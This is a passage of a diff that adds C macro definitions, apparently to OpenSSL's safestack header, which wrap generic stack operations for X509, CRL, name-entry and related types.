sk_SSL_COMP_pop(st) SKM_sk_pop(SSL_COMP, (st)) +#define sk_SSL_COMP_sort(st) SKM_sk_sort(SSL_COMP, (st)) +#define sk_SSL_COMP_is_sorted(st) SKM_sk_is_sorted(SSL_COMP, (st)) + +#define sk_STORE_OBJECT_new(st) SKM_sk_new(STORE_OBJECT, (st)) +#define sk_STORE_OBJECT_new_null() SKM_sk_new_null(STORE_OBJECT) +#define sk_STORE_OBJECT_free(st) SKM_sk_free(STORE_OBJECT, (st)) +#define sk_STORE_OBJECT_num(st) SKM_sk_num(STORE_OBJECT, (st)) +#define sk_STORE_OBJECT_value(st, i) SKM_sk_value(STORE_OBJECT, (st), (i)) +#define sk_STORE_OBJECT_set(st, i, val) SKM_sk_set(STORE_OBJECT, (st), (i), (val)) +#define sk_STORE_OBJECT_zero(st) SKM_sk_zero(STORE_OBJECT, (st)) +#define sk_STORE_OBJECT_push(st, val) SKM_sk_push(STORE_OBJECT, (st), (val)) +#define sk_STORE_OBJECT_unshift(st, val) SKM_sk_unshift(STORE_OBJECT, (st), (val)) +#define sk_STORE_OBJECT_find(st, val) SKM_sk_find(STORE_OBJECT, (st), (val)) +#define sk_STORE_OBJECT_find_ex(st, val) SKM_sk_find_ex(STORE_OBJECT, (st), (val)) +#define sk_STORE_OBJECT_delete(st, i) SKM_sk_delete(STORE_OBJECT, (st), (i)) +#define sk_STORE_OBJECT_delete_ptr(st, ptr) SKM_sk_delete_ptr(STORE_OBJECT, (st), (ptr)) +#define sk_STORE_OBJECT_insert(st, val, i) SKM_sk_insert(STORE_OBJECT, (st), (val), (i)) +#define sk_STORE_OBJECT_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(STORE_OBJECT, (st), (cmp)) +#define sk_STORE_OBJECT_dup(st) SKM_sk_dup(STORE_OBJECT, st) +#define sk_STORE_OBJECT_pop_free(st, free_func) SKM_sk_pop_free(STORE_OBJECT, (st), (free_func)) +#define sk_STORE_OBJECT_shift(st) SKM_sk_shift(STORE_OBJECT, (st)) +#define sk_STORE_OBJECT_pop(st) SKM_sk_pop(STORE_OBJECT, (st)) +#define sk_STORE_OBJECT_sort(st) SKM_sk_sort(STORE_OBJECT, (st)) +#define sk_STORE_OBJECT_is_sorted(st) SKM_sk_is_sorted(STORE_OBJECT, (st)) + +#define sk_SXNETID_new(st) SKM_sk_new(SXNETID, (st)) +#define sk_SXNETID_new_null() SKM_sk_new_null(SXNETID) +#define sk_SXNETID_free(st) SKM_sk_free(SXNETID, (st)) +#define sk_SXNETID_num(st) SKM_sk_num(SXNETID, (st)) +#define sk_SXNETID_value(st, i) SKM_sk_value(SXNETID, (st), (i)) +#define sk_SXNETID_set(st, i, val) SKM_sk_set(SXNETID, (st), (i), (val)) +#define sk_SXNETID_zero(st) SKM_sk_zero(SXNETID, (st)) +#define sk_SXNETID_push(st, val) SKM_sk_push(SXNETID, (st), (val)) +#define sk_SXNETID_unshift(st, val) SKM_sk_unshift(SXNETID, (st), (val)) +#define sk_SXNETID_find(st, val) SKM_sk_find(SXNETID, (st), (val)) +#define sk_SXNETID_find_ex(st, val) SKM_sk_find_ex(SXNETID, (st), (val)) +#define sk_SXNETID_delete(st, i) SKM_sk_delete(SXNETID, (st), (i)) +#define sk_SXNETID_delete_ptr(st, ptr) SKM_sk_delete_ptr(SXNETID, (st), (ptr)) +#define sk_SXNETID_insert(st, val, i) SKM_sk_insert(SXNETID, (st), (val), (i)) +#define sk_SXNETID_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(SXNETID, (st), (cmp)) +#define sk_SXNETID_dup(st) SKM_sk_dup(SXNETID, st) +#define sk_SXNETID_pop_free(st, free_func) SKM_sk_pop_free(SXNETID, (st), (free_func)) +#define sk_SXNETID_shift(st) SKM_sk_shift(SXNETID, (st)) +#define sk_SXNETID_pop(st) SKM_sk_pop(SXNETID, (st)) +#define sk_SXNETID_sort(st) SKM_sk_sort(SXNETID, (st)) +#define sk_SXNETID_is_sorted(st) SKM_sk_is_sorted(SXNETID, (st)) + +#define sk_UI_STRING_new(st) SKM_sk_new(UI_STRING, (st)) +#define sk_UI_STRING_new_null() SKM_sk_new_null(UI_STRING) +#define sk_UI_STRING_free(st) SKM_sk_free(UI_STRING, (st)) +#define sk_UI_STRING_num(st) SKM_sk_num(UI_STRING, (st)) +#define sk_UI_STRING_value(st, i) SKM_sk_value(UI_STRING, (st), (i)) +#define sk_UI_STRING_set(st, i, val) SKM_sk_set(UI_STRING, (st), (i), (val)) +#define sk_UI_STRING_zero(st) SKM_sk_zero(UI_STRING, (st)) +#define sk_UI_STRING_push(st, val) SKM_sk_push(UI_STRING, (st), (val)) +#define sk_UI_STRING_unshift(st, val) SKM_sk_unshift(UI_STRING, (st), (val)) +#define sk_UI_STRING_find(st, val) SKM_sk_find(UI_STRING, (st), (val)) +#define sk_UI_STRING_find_ex(st, val) SKM_sk_find_ex(UI_STRING, (st), (val)) +#define sk_UI_STRING_delete(st, i) SKM_sk_delete(UI_STRING, (st), (i)) +#define sk_UI_STRING_delete_ptr(st, ptr) SKM_sk_delete_ptr(UI_STRING, (st), (ptr)) +#define sk_UI_STRING_insert(st, val, i) SKM_sk_insert(UI_STRING, (st), (val), (i)) +#define sk_UI_STRING_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(UI_STRING, (st), (cmp)) +#define sk_UI_STRING_dup(st) SKM_sk_dup(UI_STRING, st) +#define sk_UI_STRING_pop_free(st, free_func) SKM_sk_pop_free(UI_STRING, (st), (free_func)) +#define sk_UI_STRING_shift(st) SKM_sk_shift(UI_STRING, (st)) +#define sk_UI_STRING_pop(st) SKM_sk_pop(UI_STRING, (st)) +#define sk_UI_STRING_sort(st) SKM_sk_sort(UI_STRING, (st)) +#define sk_UI_STRING_is_sorted(st) SKM_sk_is_sorted(UI_STRING, (st)) + +#define sk_X509_new(st) SKM_sk_new(X509, (st)) +#define sk_X509_new_null() SKM_sk_new_null(X509) +#define sk_X509_free(st) SKM_sk_free(X509, (st)) +#define sk_X509_num(st) SKM_sk_num(X509, (st)) +#define sk_X509_value(st, i) SKM_sk_value(X509, (st), (i)) +#define sk_X509_set(st, i, val) SKM_sk_set(X509, (st), (i), (val)) +#define sk_X509_zero(st) SKM_sk_zero(X509, (st)) +#define sk_X509_push(st, val) SKM_sk_push(X509, (st), (val)) +#define sk_X509_unshift(st, val) SKM_sk_unshift(X509, (st), (val)) +#define sk_X509_find(st, val) SKM_sk_find(X509, (st), (val)) +#define sk_X509_find_ex(st, val) SKM_sk_find_ex(X509, (st), (val)) +#define sk_X509_delete(st, i) SKM_sk_delete(X509, (st), (i)) +#define sk_X509_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509, (st), (ptr)) +#define sk_X509_insert(st, val, i) SKM_sk_insert(X509, (st), (val), (i)) +#define sk_X509_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509, (st), (cmp)) +#define sk_X509_dup(st) SKM_sk_dup(X509, st) +#define sk_X509_pop_free(st, free_func) SKM_sk_pop_free(X509, (st), (free_func)) +#define sk_X509_shift(st) SKM_sk_shift(X509, (st)) +#define sk_X509_pop(st) SKM_sk_pop(X509, (st)) +#define sk_X509_sort(st) SKM_sk_sort(X509, (st)) +#define sk_X509_is_sorted(st) SKM_sk_is_sorted(X509, (st)) + +#define sk_X509V3_EXT_METHOD_new(st) SKM_sk_new(X509V3_EXT_METHOD, (st)) +#define sk_X509V3_EXT_METHOD_new_null() SKM_sk_new_null(X509V3_EXT_METHOD) +#define sk_X509V3_EXT_METHOD_free(st) SKM_sk_free(X509V3_EXT_METHOD, (st)) +#define sk_X509V3_EXT_METHOD_num(st) SKM_sk_num(X509V3_EXT_METHOD, (st)) +#define sk_X509V3_EXT_METHOD_value(st, i) SKM_sk_value(X509V3_EXT_METHOD, (st), (i)) +#define sk_X509V3_EXT_METHOD_set(st, i, val) SKM_sk_set(X509V3_EXT_METHOD, (st), (i), (val)) +#define sk_X509V3_EXT_METHOD_zero(st) SKM_sk_zero(X509V3_EXT_METHOD, (st)) +#define sk_X509V3_EXT_METHOD_push(st, val) SKM_sk_push(X509V3_EXT_METHOD, (st), (val)) +#define sk_X509V3_EXT_METHOD_unshift(st, val) SKM_sk_unshift(X509V3_EXT_METHOD, (st), (val)) +#define sk_X509V3_EXT_METHOD_find(st, val) SKM_sk_find(X509V3_EXT_METHOD, (st), (val)) +#define sk_X509V3_EXT_METHOD_find_ex(st, val) SKM_sk_find_ex(X509V3_EXT_METHOD, (st), (val)) +#define sk_X509V3_EXT_METHOD_delete(st, i) SKM_sk_delete(X509V3_EXT_METHOD, (st), (i)) +#define sk_X509V3_EXT_METHOD_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509V3_EXT_METHOD, (st), (ptr)) +#define sk_X509V3_EXT_METHOD_insert(st, val, i) SKM_sk_insert(X509V3_EXT_METHOD, (st), (val), (i)) +#define sk_X509V3_EXT_METHOD_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509V3_EXT_METHOD, (st), (cmp)) +#define sk_X509V3_EXT_METHOD_dup(st) SKM_sk_dup(X509V3_EXT_METHOD, st) +#define sk_X509V3_EXT_METHOD_pop_free(st, free_func) SKM_sk_pop_free(X509V3_EXT_METHOD, (st), (free_func)) +#define sk_X509V3_EXT_METHOD_shift(st) SKM_sk_shift(X509V3_EXT_METHOD, (st)) +#define sk_X509V3_EXT_METHOD_pop(st) SKM_sk_pop(X509V3_EXT_METHOD, (st)) +#define sk_X509V3_EXT_METHOD_sort(st) SKM_sk_sort(X509V3_EXT_METHOD, (st)) +#define sk_X509V3_EXT_METHOD_is_sorted(st) SKM_sk_is_sorted(X509V3_EXT_METHOD, (st)) + +#define sk_X509_ALGOR_new(st) SKM_sk_new(X509_ALGOR, (st)) +#define sk_X509_ALGOR_new_null() SKM_sk_new_null(X509_ALGOR) +#define sk_X509_ALGOR_free(st) SKM_sk_free(X509_ALGOR, (st)) +#define sk_X509_ALGOR_num(st) SKM_sk_num(X509_ALGOR, (st)) +#define sk_X509_ALGOR_value(st, i) SKM_sk_value(X509_ALGOR, (st), (i)) +#define sk_X509_ALGOR_set(st, i, val) SKM_sk_set(X509_ALGOR, (st), (i), (val)) +#define sk_X509_ALGOR_zero(st) SKM_sk_zero(X509_ALGOR, (st)) +#define sk_X509_ALGOR_push(st, val) SKM_sk_push(X509_ALGOR, (st), (val)) +#define sk_X509_ALGOR_unshift(st, val) SKM_sk_unshift(X509_ALGOR, (st), (val)) +#define sk_X509_ALGOR_find(st, val) SKM_sk_find(X509_ALGOR, (st), (val)) +#define sk_X509_ALGOR_find_ex(st, val) SKM_sk_find_ex(X509_ALGOR, (st), (val)) +#define sk_X509_ALGOR_delete(st, i) SKM_sk_delete(X509_ALGOR, (st), (i)) +#define sk_X509_ALGOR_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_ALGOR, (st), (ptr)) +#define sk_X509_ALGOR_insert(st, val, i) SKM_sk_insert(X509_ALGOR, (st), (val), (i)) +#define sk_X509_ALGOR_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_ALGOR, (st), (cmp)) +#define sk_X509_ALGOR_dup(st) SKM_sk_dup(X509_ALGOR, st) +#define sk_X509_ALGOR_pop_free(st, free_func) SKM_sk_pop_free(X509_ALGOR, (st), (free_func)) +#define sk_X509_ALGOR_shift(st) SKM_sk_shift(X509_ALGOR, (st)) +#define sk_X509_ALGOR_pop(st) SKM_sk_pop(X509_ALGOR, (st)) +#define sk_X509_ALGOR_sort(st) SKM_sk_sort(X509_ALGOR, (st)) +#define sk_X509_ALGOR_is_sorted(st) SKM_sk_is_sorted(X509_ALGOR, (st)) + +#define sk_X509_ATTRIBUTE_new(st) SKM_sk_new(X509_ATTRIBUTE, (st)) +#define sk_X509_ATTRIBUTE_new_null() SKM_sk_new_null(X509_ATTRIBUTE) +#define sk_X509_ATTRIBUTE_free(st) SKM_sk_free(X509_ATTRIBUTE, (st)) +#define sk_X509_ATTRIBUTE_num(st) SKM_sk_num(X509_ATTRIBUTE, (st)) +#define sk_X509_ATTRIBUTE_value(st, i) SKM_sk_value(X509_ATTRIBUTE, (st), (i)) +#define sk_X509_ATTRIBUTE_set(st, i, val) SKM_sk_set(X509_ATTRIBUTE, (st), (i), (val)) +#define sk_X509_ATTRIBUTE_zero(st) SKM_sk_zero(X509_ATTRIBUTE, (st)) +#define sk_X509_ATTRIBUTE_push(st, val) SKM_sk_push(X509_ATTRIBUTE, (st), (val)) +#define sk_X509_ATTRIBUTE_unshift(st, val) SKM_sk_unshift(X509_ATTRIBUTE, (st), (val)) +#define sk_X509_ATTRIBUTE_find(st, val) SKM_sk_find(X509_ATTRIBUTE, (st), (val)) +#define sk_X509_ATTRIBUTE_find_ex(st, val) SKM_sk_find_ex(X509_ATTRIBUTE, (st), (val)) +#define sk_X509_ATTRIBUTE_delete(st, i) SKM_sk_delete(X509_ATTRIBUTE, (st), (i)) +#define sk_X509_ATTRIBUTE_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_ATTRIBUTE, (st), (ptr)) +#define sk_X509_ATTRIBUTE_insert(st, val, i) SKM_sk_insert(X509_ATTRIBUTE, (st), (val), (i)) +#define sk_X509_ATTRIBUTE_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_ATTRIBUTE, (st), (cmp)) +#define sk_X509_ATTRIBUTE_dup(st) SKM_sk_dup(X509_ATTRIBUTE, st) +#define sk_X509_ATTRIBUTE_pop_free(st, free_func) SKM_sk_pop_free(X509_ATTRIBUTE, (st), (free_func)) +#define sk_X509_ATTRIBUTE_shift(st) SKM_sk_shift(X509_ATTRIBUTE, (st)) +#define sk_X509_ATTRIBUTE_pop(st) SKM_sk_pop(X509_ATTRIBUTE, (st)) +#define sk_X509_ATTRIBUTE_sort(st) SKM_sk_sort(X509_ATTRIBUTE, (st)) +#define sk_X509_ATTRIBUTE_is_sorted(st) SKM_sk_is_sorted(X509_ATTRIBUTE, (st)) + +#define sk_X509_CRL_new(st) SKM_sk_new(X509_CRL, (st)) +#define sk_X509_CRL_new_null() SKM_sk_new_null(X509_CRL) +#define sk_X509_CRL_free(st) SKM_sk_free(X509_CRL, (st)) +#define sk_X509_CRL_num(st) SKM_sk_num(X509_CRL, (st)) +#define sk_X509_CRL_value(st, i) SKM_sk_value(X509_CRL, (st), (i)) +#define sk_X509_CRL_set(st, i, val) SKM_sk_set(X509_CRL, (st), (i), (val)) +#define sk_X509_CRL_zero(st) SKM_sk_zero(X509_CRL, (st)) +#define sk_X509_CRL_push(st, val) SKM_sk_push(X509_CRL, (st), (val)) +#define sk_X509_CRL_unshift(st, val) SKM_sk_unshift(X509_CRL, (st), (val)) +#define sk_X509_CRL_find(st, val) SKM_sk_find(X509_CRL, (st), (val)) +#define sk_X509_CRL_find_ex(st, val) SKM_sk_find_ex(X509_CRL, (st), (val)) +#define sk_X509_CRL_delete(st, i) SKM_sk_delete(X509_CRL, (st), (i)) +#define sk_X509_CRL_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_CRL, (st), (ptr)) +#define sk_X509_CRL_insert(st, val, i) SKM_sk_insert(X509_CRL, (st), (val), (i)) +#define sk_X509_CRL_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_CRL, (st), (cmp)) +#define sk_X509_CRL_dup(st) SKM_sk_dup(X509_CRL, st) +#define sk_X509_CRL_pop_free(st, free_func) SKM_sk_pop_free(X509_CRL, (st), (free_func)) +#define sk_X509_CRL_shift(st) SKM_sk_shift(X509_CRL, (st)) +#define sk_X509_CRL_pop(st) SKM_sk_pop(X509_CRL, (st)) +#define sk_X509_CRL_sort(st) SKM_sk_sort(X509_CRL, (st)) +#define sk_X509_CRL_is_sorted(st) SKM_sk_is_sorted(X509_CRL, (st)) + +#define sk_X509_EXTENSION_new(st) SKM_sk_new(X509_EXTENSION, (st)) +#define sk_X509_EXTENSION_new_null() SKM_sk_new_null(X509_EXTENSION) +#define sk_X509_EXTENSION_free(st) SKM_sk_free(X509_EXTENSION, (st)) +#define sk_X509_EXTENSION_num(st) SKM_sk_num(X509_EXTENSION, (st)) +#define sk_X509_EXTENSION_value(st, i) SKM_sk_value(X509_EXTENSION, (st), (i)) +#define sk_X509_EXTENSION_set(st, i, val) SKM_sk_set(X509_EXTENSION, (st), (i), (val)) +#define sk_X509_EXTENSION_zero(st) SKM_sk_zero(X509_EXTENSION, (st)) +#define sk_X509_EXTENSION_push(st, val) SKM_sk_push(X509_EXTENSION, (st), (val)) +#define sk_X509_EXTENSION_unshift(st, val) SKM_sk_unshift(X509_EXTENSION, (st), (val)) +#define sk_X509_EXTENSION_find(st, val) SKM_sk_find(X509_EXTENSION, (st), (val)) +#define sk_X509_EXTENSION_find_ex(st, val) SKM_sk_find_ex(X509_EXTENSION, (st), (val)) +#define sk_X509_EXTENSION_delete(st, i) SKM_sk_delete(X509_EXTENSION, (st), (i)) +#define sk_X509_EXTENSION_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_EXTENSION, (st), (ptr)) +#define sk_X509_EXTENSION_insert(st, val, i) SKM_sk_insert(X509_EXTENSION, (st), (val), (i)) +#define sk_X509_EXTENSION_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_EXTENSION, (st), (cmp)) +#define sk_X509_EXTENSION_dup(st) SKM_sk_dup(X509_EXTENSION, st) +#define sk_X509_EXTENSION_pop_free(st, free_func) SKM_sk_pop_free(X509_EXTENSION, (st), (free_func)) +#define sk_X509_EXTENSION_shift(st) SKM_sk_shift(X509_EXTENSION, (st)) +#define sk_X509_EXTENSION_pop(st) SKM_sk_pop(X509_EXTENSION, (st)) +#define sk_X509_EXTENSION_sort(st) SKM_sk_sort(X509_EXTENSION, (st)) +#define sk_X509_EXTENSION_is_sorted(st) SKM_sk_is_sorted(X509_EXTENSION, (st)) + +#define sk_X509_INFO_new(st) SKM_sk_new(X509_INFO, (st)) +#define sk_X509_INFO_new_null() SKM_sk_new_null(X509_INFO) +#define sk_X509_INFO_free(st) SKM_sk_free(X509_INFO, (st)) +#define sk_X509_INFO_num(st) SKM_sk_num(X509_INFO, (st)) +#define sk_X509_INFO_value(st, i) SKM_sk_value(X509_INFO, (st), (i)) +#define sk_X509_INFO_set(st, i, val) SKM_sk_set(X509_INFO, (st), (i), (val)) +#define sk_X509_INFO_zero(st) SKM_sk_zero(X509_INFO, (st)) +#define sk_X509_INFO_push(st, val) SKM_sk_push(X509_INFO, (st), (val)) +#define sk_X509_INFO_unshift(st, val) SKM_sk_unshift(X509_INFO, (st), (val)) +#define sk_X509_INFO_find(st, val) SKM_sk_find(X509_INFO, (st), (val)) +#define sk_X509_INFO_find_ex(st, val) SKM_sk_find_ex(X509_INFO, (st), (val)) +#define sk_X509_INFO_delete(st, i) SKM_sk_delete(X509_INFO, (st), (i)) +#define sk_X509_INFO_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_INFO, (st), (ptr)) +#define sk_X509_INFO_insert(st, val, i) SKM_sk_insert(X509_INFO, (st), (val), (i)) +#define sk_X509_INFO_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_INFO, (st), (cmp)) +#define sk_X509_INFO_dup(st) SKM_sk_dup(X509_INFO, st) +#define sk_X509_INFO_pop_free(st, free_func) SKM_sk_pop_free(X509_INFO, (st), (free_func)) +#define sk_X509_INFO_shift(st) SKM_sk_shift(X509_INFO, (st)) +#define sk_X509_INFO_pop(st) SKM_sk_pop(X509_INFO, (st)) +#define sk_X509_INFO_sort(st) SKM_sk_sort(X509_INFO, (st)) +#define sk_X509_INFO_is_sorted(st) SKM_sk_is_sorted(X509_INFO, (st)) + +#define sk_X509_LOOKUP_new(st) SKM_sk_new(X509_LOOKUP, (st)) +#define sk_X509_LOOKUP_new_null() SKM_sk_new_null(X509_LOOKUP) +#define sk_X509_LOOKUP_free(st) SKM_sk_free(X509_LOOKUP, (st)) +#define sk_X509_LOOKUP_num(st) SKM_sk_num(X509_LOOKUP, (st)) +#define sk_X509_LOOKUP_value(st, i) SKM_sk_value(X509_LOOKUP, (st), (i)) +#define sk_X509_LOOKUP_set(st, i, val) SKM_sk_set(X509_LOOKUP, (st), (i), (val)) +#define sk_X509_LOOKUP_zero(st) SKM_sk_zero(X509_LOOKUP, (st)) +#define sk_X509_LOOKUP_push(st, val) SKM_sk_push(X509_LOOKUP, (st), (val)) +#define sk_X509_LOOKUP_unshift(st, val) SKM_sk_unshift(X509_LOOKUP, (st), (val)) +#define sk_X509_LOOKUP_find(st, val) SKM_sk_find(X509_LOOKUP, (st), (val)) +#define sk_X509_LOOKUP_find_ex(st, val) SKM_sk_find_ex(X509_LOOKUP, (st), (val)) +#define sk_X509_LOOKUP_delete(st, i) SKM_sk_delete(X509_LOOKUP, (st), (i)) +#define sk_X509_LOOKUP_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_LOOKUP, (st), (ptr)) +#define sk_X509_LOOKUP_insert(st, val, i) SKM_sk_insert(X509_LOOKUP, (st), (val), (i)) +#define sk_X509_LOOKUP_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_LOOKUP, (st), (cmp)) +#define sk_X509_LOOKUP_dup(st) SKM_sk_dup(X509_LOOKUP, st) +#define sk_X509_LOOKUP_pop_free(st, free_func) SKM_sk_pop_free(X509_LOOKUP, (st), (free_func)) +#define sk_X509_LOOKUP_shift(st) SKM_sk_shift(X509_LOOKUP, (st)) +#define sk_X509_LOOKUP_pop(st) SKM_sk_pop(X509_LOOKUP, (st)) +#define sk_X509_LOOKUP_sort(st) SKM_sk_sort(X509_LOOKUP, (st)) +#define sk_X509_LOOKUP_is_sorted(st) SKM_sk_is_sorted(X509_LOOKUP, (st)) + +#define sk_X509_NAME_new(st) SKM_sk_new(X509_NAME, (st)) +#define sk_X509_NAME_new_null() SKM_sk_new_null(X509_NAME) +#define sk_X509_NAME_free(st) SKM_sk_free(X509_NAME, (st)) +#define sk_X509_NAME_num(st) SKM_sk_num(X509_NAME, (st)) +#define sk_X509_NAME_value(st, i) SKM_sk_value(X509_NAME, (st), (i)) +#define sk_X509_NAME_set(st, i, val) SKM_sk_set(X509_NAME, (st), (i), (val)) +#define sk_X509_NAME_zero(st) SKM_sk_zero(X509_NAME, (st)) +#define sk_X509_NAME_push(st, val) SKM_sk_push(X509_NAME, (st), (val)) +#define sk_X509_NAME_unshift(st, val) SKM_sk_unshift(X509_NAME, (st), (val)) +#define sk_X509_NAME_find(st, val) SKM_sk_find(X509_NAME, (st), (val)) +#define sk_X509_NAME_find_ex(st, val) SKM_sk_find_ex(X509_NAME, (st), (val)) +#define sk_X509_NAME_delete(st, i) SKM_sk_delete(X509_NAME, (st), (i)) +#define sk_X509_NAME_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_NAME, (st), (ptr)) +#define sk_X509_NAME_insert(st, val, i) SKM_sk_insert(X509_NAME, (st), (val), (i)) +#define sk_X509_NAME_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_NAME, (st), (cmp)) +#define sk_X509_NAME_dup(st) SKM_sk_dup(X509_NAME, st) +#define sk_X509_NAME_pop_free(st, free_func) SKM_sk_pop_free(X509_NAME, (st), (free_func)) +#define sk_X509_NAME_shift(st) SKM_sk_shift(X509_NAME, (st)) +#define sk_X509_NAME_pop(st) SKM_sk_pop(X509_NAME, (st)) +#define sk_X509_NAME_sort(st) SKM_sk_sort(X509_NAME, (st)) +#define sk_X509_NAME_is_sorted(st) SKM_sk_is_sorted(X509_NAME, (st)) + +#define sk_X509_NAME_ENTRY_new(st) SKM_sk_new(X509_NAME_ENTRY, (st)) +#define sk_X509_NAME_ENTRY_new_null() SKM_sk_new_null(X509_NAME_ENTRY) +#define sk_X509_NAME_ENTRY_free(st) SKM_sk_free(X509_NAME_ENTRY, (st)) +#define sk_X509_NAME_ENTRY_num(st) SKM_sk_num(X509_NAME_ENTRY, (st)) +#define sk_X509_NAME_ENTRY_value(st, i) SKM_sk_value(X509_NAME_ENTRY, (st), (i)) +#define sk_X509_NAME_ENTRY_set(st, i, val) SKM_sk_set(X509_NAME_ENTRY, (st), (i), (val)) +#define sk_X509_NAME_ENTRY_zero(st) SKM_sk_zero(X509_NAME_ENTRY, (st)) +#define sk_X509_NAME_ENTRY_push(st, val) SKM_sk_push(X509_NAME_ENTRY, (st), (val)) +#define sk_X509_NAME_ENTRY_unshift(st, val) SKM_sk_unshift(X509_NAME_ENTRY, (st), (val)) +#define sk_X509_NAME_ENTRY_find(st, val) SKM_sk_find(X509_NAME_ENTRY, (st), (val)) +#define sk_X509_NAME_ENTRY_find_ex(st, val) SKM_sk_find_ex(X509_NAME_ENTRY, (st), (val)) +#define sk_X509_NAME_ENTRY_delete(st, i) SKM_sk_delete(X509_NAME_ENTRY, (st), (i)) +#define sk_X509_NAME_ENTRY_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_NAME_ENTRY, (st), (ptr)) +#define sk_X509_NAME_ENTRY_insert(st, val, i) SKM_sk_insert(X509_NAME_ENTRY, (st), (val), (i)) +#define sk_X509_NAME_ENTRY_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_NAME_ENTRY, (st), (cmp)) +#define sk_X509_NAME_ENTRY_dup(st) SKM_sk_dup(X509_NAME_ENTRY, st) +#define sk_X509_NAME_ENTRY_pop_free(st, free_func) SKM_sk_pop_free(X509_NAME_ENTRY, (st), (free_func)) +#define sk_X509_NAME_ENTRY_shift(st) SKM_sk_shift(X509_NAME_ENTRY, (st)) +#define sk_X509_NAME_ENTRY_pop(st) SKM_sk_pop(X509_NAME_ENTRY, (st)) +#define sk_X509_NAME_ENTRY_sort(st) SKM_sk_sort(X509_NAME_ENTRY, (st)) +#define sk_X509_NAME_ENTRY_is_sorted(st) SKM_sk_is_sorted(X509_NAME_ENTRY, (st)) + +#define sk_X509_OBJECT_new(st) SKM_sk_new(X509_OBJECT, (st)) +#define sk_X509_OBJECT_new_null() SKM_sk_new_null(X509_OBJECT) +#define sk_X509_OBJECT_free(st) SKM_sk_free(X509_OBJECT, (st)) +#define sk_X509_OBJECT_num(st) SKM_sk_num(X509_OBJECT, (st)) +#define sk_X509_OBJECT_value(st, i) SKM_sk_value(X509_OBJECT, (st), (i)) +#define sk_X509_OBJECT_set(st, i, val) SKM_sk_set(X509_OBJECT, (st), (i), (val)) +#define sk_X509_OBJECT_zero(st) SKM_sk_zero(X509_OBJECT, (st)) +#define sk_X509_OBJECT_push(st, val) SKM_sk_push(X509_OBJECT, (st), (val)) +#define sk_X509_OBJECT_unshift(st, val) SKM_sk_unshift(X509_OBJECT, (st), (val)) +#define sk_X509_OBJECT_find(st, val) SKM_sk_find(X509_OBJECT, (st), (val)) +#define sk_X509_OBJECT_find_ex(st, val) SKM_sk_find_ex(X509_OBJECT, (st), (val)) +#define sk_X509_OBJECT_delete(st, i) SKM_sk_delete(X509_OBJECT, (st), (i)) +#define sk_X509_OBJECT_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_OBJECT, (st), (ptr)) +#define sk_X509_OBJECT_insert(st, val, i) SKM_sk_insert(X509_OBJECT, (st), (val), (i)) +#define sk_X509_OBJECT_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_OBJECT, (st), (cmp)) +#define sk_X509_OBJECT_dup(st) SKM_sk_dup(X509_OBJECT, st) +#define sk_X509_OBJECT_pop_free(st, free_func) SKM_sk_pop_free(X509_OBJECT, (st), (free_func)) +#define sk_X509_OBJECT_shift(st) SKM_sk_shift(X509_OBJECT, (st)) +#define sk_X509_OBJECT_pop(st) SKM_sk_pop(X509_OBJECT, (st)) +#define sk_X509_OBJECT_sort(st) SKM_sk_sort(X509_OBJECT, (st)) +#define sk_X509_OBJECT_is_sorted(st) SKM_sk_is_sorted(X509_OBJECT, (st)) + +#define sk_X509_POLICY_DATA_new(st) SKM_sk_new(X509_POLICY_DATA, (st)) +#define sk_X509_POLICY_DATA_new_null() SKM_sk_new_null(X509_POLICY_DATA) +#define sk_X509_POLICY_DATA_free(st) SKM_sk_free(X509_POLICY_DATA, (st)) +#define sk_X509_POLICY_DATA_num(st) SKM_sk_num(X509_POLICY_DATA, (st)) +#define sk_X509_POLICY_DATA_value(st, i) SKM_sk_value(X509_POLICY_DATA, (st), (i)) +#define sk_X509_POLICY_DATA_set(st, i, val) SKM_sk_set(X509_POLICY_DATA, (st), (i), (val)) +#define sk_X509_POLICY_DATA_zero(st) SKM_sk_zero(X509_POLICY_DATA, (st)) +#define sk_X509_POLICY_DATA_push(st, val) SKM_sk_push(X509_POLICY_DATA, (st), (val)) +#define sk_X509_POLICY_DATA_unshift(st, val) SKM_sk_unshift(X509_POLICY_DATA, (st), (val)) +#define sk_X509_POLICY_DATA_find(st, val) SKM_sk_find(X509_POLICY_DATA, (st), (val)) +#define sk_X509_POLICY_DATA_find_ex(st, val) SKM_sk_find_ex(X509_POLICY_DATA, (st), (val)) +#define sk_X509_POLICY_DATA_delete(st, i) SKM_sk_delete(X509_POLICY_DATA, (st), (i)) +#define sk_X509_POLICY_DATA_delete_ptr(st, ptr) SKM_sk_delete_ptr(X509_POLICY_DATA, (st), (ptr)) +#define sk_X509_POLICY_DATA_insert(st, val, i) SKM_sk_insert(X509_POLICY_DATA, (st), (val), (i)) +#define sk_X509_POLICY_DATA_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(X509_POLICY_DATA, (st), (cmp)) +#define sk_X509_POLICY_DATA_dup(st) SKM_sk_dup(X509_POLICY_DATA, st) +#define sk_X509_POLICY_DATA_pop_free(st, free_func) SKM_sk_pop_free(X509_POLICY_DATA, (st), (free_func)) +#define sk_X509_POLICY_DATA_shift(st) SKM_sk_shift(X509_POLICY_DATA, (st)) +#define 